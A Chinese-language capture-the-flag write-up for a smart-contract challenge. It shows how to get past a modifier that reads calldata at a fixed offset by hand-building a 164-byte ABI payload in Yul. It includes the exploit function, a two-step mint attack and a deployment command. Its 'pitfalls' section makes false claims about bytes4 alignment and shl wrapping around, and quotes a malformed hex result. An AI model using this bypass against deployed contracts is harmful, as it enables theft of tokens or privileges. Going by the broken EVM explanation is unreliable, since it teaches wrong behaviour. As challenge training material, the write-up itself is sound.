Appearance
S2C7: Calldata FTW
1. 问题
合约有一个 onlyMintFlag modifier,它从 calldata[68:72] 读取 4 字节,要求等于 mintFlag 的函数选择器。需要绕过这个检查来调用 mintFlag。
2. 原因
onlyMintFlag modifier 使用 calldataload 直接读取 calldata 的固定位置(offset 68),而不是用 Solidity 的类型系统。通过操纵 ABI 编码中 bytes 参数的偏移量,可以将 mintFlag 选择器精确放置在 calldata[68:72]。
3. 方案
构造自定义 calldata,使 bytes 参数的 ABI offset 指向一个位置,使得 modifier 检查的位置恰好是 mintFlag 的函数选择器:
calldata 布局 (164 bytes):
[0:4] = mint() selector (0x7ba0e2e7)
[4:36] = offset 0x7C (指向 bytes data 的位置)
[36:68] = padding
[68:72] = 0xe00d023f (mintFlag() selector — modifier 在这里读取!)
[72:128]= padding
[128:160]= 0x04 (data length)
[160:164]= target function selector
solidity
function callWithPayload(address challenge, uint256 targetWord) internal {
bytes memory payload = new bytes(164);
assembly {
let p := add(payload, 0x20)
mstore(p, 0x7ba0e2e700000000000000000000000000000000000000000000000000000000) // mint sel + offset prefix
mstore(add(p, 32), 0x0000007C00000000000000000000000000000000000000000000000000000000) // offset=0x7C + padding
mstore(add(p, 64), 0x00000000e00d023f000000000000000000000000000000000000000000000000) // mintFlag sel at [68:72]
mstore(add(p, 96), 0x0000000000000000000000000000000000000000000000000000000000000000)
mstore(add(p, 128), 0x0000000000000000000000000000000000000000000000000000000000000004) // length=4
mstore(add(p, 160), targetWord)
}
(bool ok,) = challenge.call(payload); require(ok);
}
两步执行:
- 调用
mint()with_data = allowMinter()→ 将攻击者加入 allowed 列表 - 调用
mint()with_data = mintFlag()→ 触发 flag mint
4. 遇到的陷阱
陷阱 4.1: Yul 汇编中 shl(224, bytes4) 产生错误结果
在计算 mintFlag 的 selector 时,如果在 Yul 汇编中使用 shl(224, bytes4(selector)),结果完全错误。
示例:
solidity
bytes4 target = bytes4(keccak256("allowMinter()")); // 0x0fd16506
bytes32 asmResult;
assembly { asmResult := shl(224, target) }
// asmResult = 0xb38b84bf... (错误!)
// 期望 = 0x0fd16506000... (正确)
陷阱 4.2: calldata 偏移计算
bytes 参数的 ABI offset 需要精确指向 mintFlag 选择器在 calldata 中的位置 (68)。
陷阱 4.3: forge create --broadcast 无效
forge create --broadcast 在 OP Mainnet 上始终显示 "Dry run enabled",无法广播交易。
5. 陷阱的原因
原因 5.1: bytes4 在 Yul 汇编中的内存布局
在 Solidity 中,bytes4 是右对齐的(占用 32 字节栈槽的低 4 字节)。但在 Yul 内联汇编中,bytes4 值被放置在 32 字节栈槽的高位(左侧),即左对齐。
Solidity 中的 bytes4(0x0fd16506):
0x000000000000000000000000000000000000000000000000000000000fd16506
(右对齐,占用低 4 字节)
Yul 汇编中的 bytes4(0x0fd16506):
0x0fd1650600000000000000000000000000000000000000000000000000000000
(左对齐,占用高 4 字节)
当执行 shl(224, bytes4_value) 时:
- 期望:将右对齐的低 4 字节左移 224 位 → selector 到达高位
- 实际:将左对齐的高 4 字节左移 224 位 → 所有有意义数据移出!高位变成垃圾数据
// Solidity 层面 (正确)
uint256(uint32(0x0fd16506)) << 224
= 0x0fd1650600000000000000000000000000000000000000000000000000000000
// Yul 汇编 (错误!)
shl(224, 0x0fd1650600000000000000000000000000000000000000000000000000000000)
= 0xb38b84bf0000000000000000000000000000000000000000000000000000000000
// (垃圾!数据被移出 256 位范围然后绕回)
原因 5.2: calldata 偏移
ABI 编码中 bytes 类型的编码方式是:静态部分存 offset,动态部分存 length + data。offset 是从参数块起始位置的相对偏移。需要精心计算使 modifier 读取位置正好是目标选择器。
原因 5.3: forge create bug
forge create --broadcast 在 OP Mainnet 上存在已知问题,广播逻辑可能失效。需要使用 forge script 替代。
6. 如何解决
解决 6.1: 避免在 Yul 中操作 bytes4
solidity
// 正确做法:在 Solidity 层面转为 uint256
bytes4 selector = bytes4(keccak256("allowMinter()"));
uint256 targetWord = uint256(uint32(selector)) << 224;
// 或直接硬编码预计算值
uint256 hardcoded = 0x0fd1650600000000000000000000000000000000000000000000000000000000;
本解题方案使用硬编码的预计算值来完全避免此问题。
解决 6.2: 手动构造 calldata
不使用 Solidity 的 ABI 编码,直接在 assembly 中手动构造完整的 164 字节 payload。
解决 6.3: 使用 forge script
bash
forge script script/S2C7Deploy.s.sol --rpc-url $RPC --private-key $PK --broadcast
7. 技术要点
| 要点 | 说明 |
|---|---|
| ABI calldata 编码 | bytes 类型的编码在静态部分存 offset,动态部分存 length + data |
| calldataload 绕过 | 直接读取 calldata 的 modifier 可被 calldata 操纵绕过 |
| Yul bytes4 对齐陷阱 | 汇编中 bytes4 是左对齐的,位移操作结果与 Solidity 不同 |
| 自定义 calldata | 使用 assembly mstore 构造任意 calldata 布局 |
| forge create bug | OP Mainnet 上 forge create --broadcast 不可用 |
核心代码:solutions/season2/Challenge7Solution.sol诊断测试:test/Bytes4Shift.t.sol部署脚本:script/S2C7Deploy.s.sol